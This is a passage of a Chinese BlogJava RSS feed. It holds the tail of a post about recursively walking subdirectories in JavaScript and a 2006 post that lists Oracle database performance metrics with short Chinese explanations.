</span><span style="color: rgb(0, 128, 128);">34</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">35</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">alert(arrFile);</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">36</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">37</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;}&nbsp;</span></div>
<br />
这里使用了一下递归的技巧，先确定子目录，再层层递归。<br />
请各位多多指教。若大家有更好的方法，请留言交流学习。
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/132651.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2007-10-20 10:37 <a href="http://www.blogjava.net/ljf-tianyi/archive/2007/10/20/132651.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>数据库的一些技术指标</title><link>http://www.blogjava.net/ljf-tianyi/archive/2006/08/22/65136.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Tue, 22 Aug 2006 11:28:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2006/08/22/65136.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/65136.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2006/08/22/65136.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/65136.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/65136.html</trackback:ping><description><![CDATA[一、	Logical I/O
<br />
1、	Block changes-修改数据阻塞
<br />
2、	Current reads-更新数据阻塞的数目
<br />
3、	Consistent reads-查询数据阻塞的数目<br />
二、	Physical I/O
<br />
1、	Datafile reads读取数据文件的文件数目
<br />
2、	Datafile writes写入数据文件的文件数目
<br />
3、	Redo writes写入重做日志的文件数目<br />
三、	Event waits
<br />
1、	Contrl File IO-控制文件的读写等待时间
<br />
2、	Buffer busy-高速缓存繁忙等待时间
<br />
3、	Other-其他的等待时间（希望数据库开发人员解析下）
<br />
4、	Single block read-单个数据阻塞的等候时间
<br />
5、	Multi-block read-多个数据阻塞的等候时间
<br />
6、	Direct path read-直接读取的等候时间
<br />
7、	Datafile write-数据文件写的等待时间
<br />
8、	Log write-日志文件写得等待时间<br />
四、	Sessions
<br />
1、	Idle-空闲session的数目
<br />
2、	Active-正在运行的session的数目
<br />
3、	System-system session的数目
<br />
五、	Call rates
<br />
1、	Parse分析请求执行的SQL语句的调用次数
<br />
2、	Execute-执行的次数
<br />
3、	Commit-提交的调用次数
<br />
4、	Rollback-回滚的调用次数
<br />
5、	Hard parse-分析请求执行的SQL语句，并分配堆栈空间的访问调用次数<br />
六、	Miss rates
<br />
1、	Buffer cache-在高速缓存读取不命中率
<br />
2、	SQL area-向高速缓存请求分析SQL语句的不命中率
<br />
3、	Latch-第一次尝试闭锁请求的不命中率
<br />
七、	SGA Memory Usage
<br />
1、	Fixed SGA-固定SGA区的大小
<br />
2、	Log Buffer-日志高速缓存的大小
<br />
3、	Shared Pool-共享池的大小
<br />
4、	Buffer Cache-高速缓存的大小
<br />
八、	Shared Pool
<br />
1、	Misc-混合使用区的大小
<br />
2、	Dict Cache-数据字典缓存区的大小
<br />
3、	Library Cache-库的高速缓存
<br />
4、	Free memory-空闲的缓存的大小
<br />
5、	SQL Area-SQL语句的缓存区的大小
<br />
在这些指标之中，Event waits，Call rates这个两个是要特别注意的。数据库的性能问题，往往都是在这两个中表现出来的。
以上观点纯属个人意见，如有类同纯属巧合。 
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/65136.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2006-08-22 19:28 <a href="http://www.blogjava.net/ljf-tianyi/archive/2006/08/22/65136.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>